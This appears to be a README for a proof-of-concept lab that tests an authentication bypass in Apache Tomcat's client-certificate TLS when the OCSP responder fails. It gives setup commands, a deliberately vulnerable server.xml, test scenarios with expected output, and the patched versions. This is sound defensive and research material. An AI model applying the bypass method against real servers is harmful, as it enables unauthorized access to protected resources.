chenjp/cve-2026-29145-testerThis repository contains a proof-of-concept (PoC) environment designed to test for CVE-2026-29145.
This repository contains a proof-of-concept (PoC) environment designed to test for CVE-2026-29145.
The vulnerability is an authentication bypass in Apache Tomcat's Mutual TLS (CLIENT_CERT) implementation. When OCSP (Online Certificate Status Protocol) is configured with soft-fail disabled, Tomcat may fail to treat an OCSP check failure as a hard denial. This allows a client with a potentially revoked or unverified certificate to bypass authentication if the OCSP responder is unreachable or returns an error.
| Property | Value |
|---|
| CVE ID | CVE-2026-29145 |
| CVSS Score | 9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Attack Vector | Network |
| Privileges Required | None |
| Impact | Authentication Bypass |
.ps1 scriptsThe run_test.sh script automates the entire process: cleanup, certificate generation, and running all test scenarios (vulnerable, success, and patched).
# Navigate to the project directory
cd CVE-2026-29145-Tester
# Make scripts executable
chmod +x cleanup.sh setup_certs.sh run_test.sh
# Install Python dependencies (if poc_exploit.py requires them)
pip install -r requirements.txt
# Run the full test suite
./run_test.sh
On Linux/macOS:
./setup_certs.sh
On Windows (PowerShell):
.\setup_certs.ps1
What this does:
http://localhost:8888Expected output:
[INFO] Starting certificate generation for CVE-2026-29145 testing environment
[INFO] OpenSSL found: OpenSSL 3.0.x (...)
[INFO] Created certs directory
[INFO] Generating Root CA...
[INFO] Generating Server Certificate...
[INFO] Generating Client Certificate with OCSP Extension...
[INFO] Certificate setup completed successfully!
docker-compose up -d
What this does:
Verify containers are running:
docker-compose ps
python poc_exploit.py
Expected outputs:
Vulnerable System:
[INFO] Attempting connection to https://localhost:8443/protected-resource...
[WARNING] VULNERABLE: Access granted despite OCSP check failure.
[WARNING] Response preview: <html>...
Patched System:
[INFO] Attempting connection to https://localhost:8443/protected-resource...
[INFO] NOT VULNERABLE: Access denied (Authentication working).
| Scenario | OCSP Status | Expected (Patched) | Result (Vulnerable) | Notes |
|---|---|---|---|---|
| Normal Operation | Online & Valid | 200 OK ✓ | 200 OK ✓ | OCSP check succeeds, access granted |
| Soft Failure | Offline/Timeout | 403 Forbidden ✓ | 200 OK ✗ | BYPASS - OCSP responder unreachable |
| Hard Revocation | Online & Revoked | 403 Forbidden ✓ | 403 Forbidden ✓ | Certificate explicitly revoked |
| Invalid Certificate | Invalid Chain | 403 Forbidden ✓ | 403 Forbidden ✓ | Chain validation fails |
Test 1: Default (OCSP Responder Failing)
# Keep containers running
python poc_exploit.py
Test 2: Stop OCSP Responder (Simulate Timeout)
docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder
Test 3: Manual Testing with curl
curl -v \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://localhost:8443/protected-resource
CVE-2026-29145-Tester/
├── README.md # This file
├── setup_certs.sh # Certificate generation script - Bash (Linux/macOS)
├── setup_certs.ps1 # Certificate generation script - PowerShell (Windows)
├── cleanup.sh # Cleanup and reset script - Bash (Linux/macOS)
├── cleanup.ps1 # Cleanup and reset script - PowerShell (Windows)
├── run_test.sh # Automated full test cycle script
├── docker-compose.yml # Docker service orchestration
├── requirements.txt # Python dependencies
├── poc_exploit.py # Main testing script (with logging and error handling)
├── simple_proxy_fail.py # Mock OCSP responder (with detailed logging)
├── .gitignore # Git ignore rules for certificates and logs
├── certs/ # Generated certificates (created by setup_certs scripts)
│ ├── ca-chain.pem # Root CA certificate
│ ├── ca-key.pem # Root CA private key
│ ├── server-cert.pem # Tomcat server certificate
│ ├── server-key.pem # Tomcat server private key
│ ├── client-cert.pem # Test client certificate
│ └── client-key.pem # Test client private key
├── tomcat/
│ └── server.xml # Vulnerable Tomcat configuration
└── logs/ # Tomcat logs (created at runtime)
The tomcat/server.xml file configures:
<SSLHostConfig
hostName="localhost"
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem">
<OpenSSLConf>
<ConfCommand name="OCSP" value="on"/>
</OpenSSLConf>
</SSLHostConfig>
Key Settings:
certificateVerification="required" - Enforces CLIENT_CERT authenticationOCSP on - Enables OCSP revocation checkingThe mock OCSP responder (simple_proxy_fail.py):
localhost:8888# macOS
brew install openssl
# Ubuntu/Debian
sudo apt-get install openssl
# CentOS/RHEL
sudo yum install openssl
Cause: Certificate generation failed or was not run.
# Clean up and regenerate
rm -rf certs
./setup_certs.sh
Cause: Tomcat container is not running or not ready.
# Check container status
docker-compose ps
# Check logs
docker-compose logs vulnerable-tomcat
# Ensure both services are running and healthy
docker-compose up -d
sleep 10 # Wait for services to start
Cause: Tomcat taking too long to start or network issues.
# Check Tomcat startup logs
docker-compose logs vulnerable-tomcat
# Increase timeout and retry
timeout 30 docker-compose logs -f vulnerable-tomcat # Monitor startup
Cause: Docker Compose not installed or not in PATH.
# Install Docker Compose (if using standalone)
sudo curl -L "https://github.com/docker/compose/releases/download/v2.x.x/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
# Or use docker compose (V2 integrated with Docker Desktop)
docker compose up -d
Cause: Certificate validation failing.
# Verify certificate files exist
ls -la certs/
# Check certificate validity
openssl x509 -in certs/client-cert.pem -noout -text
Cause: SSL handshake failure - may indicate hard-fail is working correctly.
Solution: This is actually a positive sign! The hard-fail is preventing access when OCSP fails.
# Check if OCSP responder is running
docker-compose ps ocsp-responder
# View detailed error
python poc_exploit.py # Already provides detailed logging
Cause: Port 8443 or 8888 is already in use.
# Find process using the port
lsof -i :8443
lsof -i :8888
# Kill the process or use different ports in docker-compose.yml
# Tomcat logs
docker-compose logs -f vulnerable-tomcat
# OCSP responder logs
docker-compose logs -f ocsp-responder
# Python script debugging
python poc_exploit.py # Already includes detailed logging
# Open terminal and run
docker-compose logs -f
# In another terminal, run test
python poc_exploit.py
# Test connectivity to OCSP responder
curl http://localhost:8888/
# Test OCSP responder from inside Tomcat container
docker exec vulnerable-tomcat curl http://ocsp-responder:8888/
# Test SSL handshake
openssl s_client -connect localhost:8443 \
-cert certs/client-cert.pem \
-key certs/client-key.pem \
-CAfile certs/ca-chain.pem
To remove all containers, volumes, certificates, and logs:
On Linux/macOS:
./cleanup.sh
On Windows (PowerShell):
.\cleanup.ps1
What this does:
certs/ directorylogs/ directoryVerify cleanup:
docker-compose ps # Should show nothing
ls -la certs/ # Should not exist
This project is for educational and authorized security testing purposes only.
To mitigate this vulnerability, upgrade Apache Tomcat to the following versions:
| Version Series | Minimum Fixed Version |
|---|---|
| 11.0.x | 11.0.20 or later |
| 10.1.x | 10.1.53 or later |
| 9.0.x | 9.0.116 or later |
Upgrade steps:
# Example: Update docker-compose.yml to use patched version
# Change: image: tomcat:10.1.52-jdk17
# To: image: tomcat:10.1.53-jdk17
docker-compose down
docker-compose up -d
For issues, questions, or contributions, please open an issue or submit a pull request.
Last Updated: April 2026
Status: Testing & Documentation Complete